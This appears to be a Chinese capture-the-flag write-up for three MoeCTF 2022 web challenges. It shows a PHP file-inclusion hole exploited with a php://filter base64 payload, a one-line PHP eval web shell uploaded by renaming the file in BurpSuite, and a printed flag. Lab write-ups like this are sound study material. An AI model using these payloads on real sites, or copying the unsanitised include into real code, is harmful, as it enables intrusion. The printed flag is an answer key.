1.[MoeCTF 2022]baby_file
打开环境,看到这个脚本
<html>
<title>Here's a secret. Can you find it?</title>
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>
进行代码审计。这个php脚本当用户访问这个网页并传递一个名为"file"的GET参数时,它会包含并显示该文件的内容。如果没有提供"file"参数,它将高亮显示当前执行的PHP文件的内容。
看见有include
函数了,可以想到是文件包含。
但是这里并不能直接传入file
的值等于index.php
或者flag.php
,所以要利用伪协议php://filter
,构造payload来读取index.php
的内容。
猜测flag在同目录下flag.php
中或根目录下/flag
中。写出payload。
/?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解密可得
<?php
Hey hey, reach the highest city in the world! Actually I am ikun!!;
NSSCTF{0dbdb8b6-9c46-4a7f-a7d0-a51a69776740};
?>
2.[MoeCTF 2022]ezhtml
启动环境,熟悉的页面。
看到并没有什么特别的,F12查看一下源码。然后在js中一眼就看到啦。
3.[MoeCTF 2022]what are y0u uploading?
根据题目描述,打开环境,文件上传题。
上传一句话木马,标题说了,先尝试上传图片文件。
<?php @eval($_REQUEST['wz']);?>
上传成功了。
但是不知道文件路径,不能getshell,那就按照他要求上传一个f1ag.php
直接将图片马的名字改成f1ag.php
,进行上传
传不上去,启动BurpSuite
将名字从a.jpg改成f1ag.php
这样forward之后就可以得到flag了。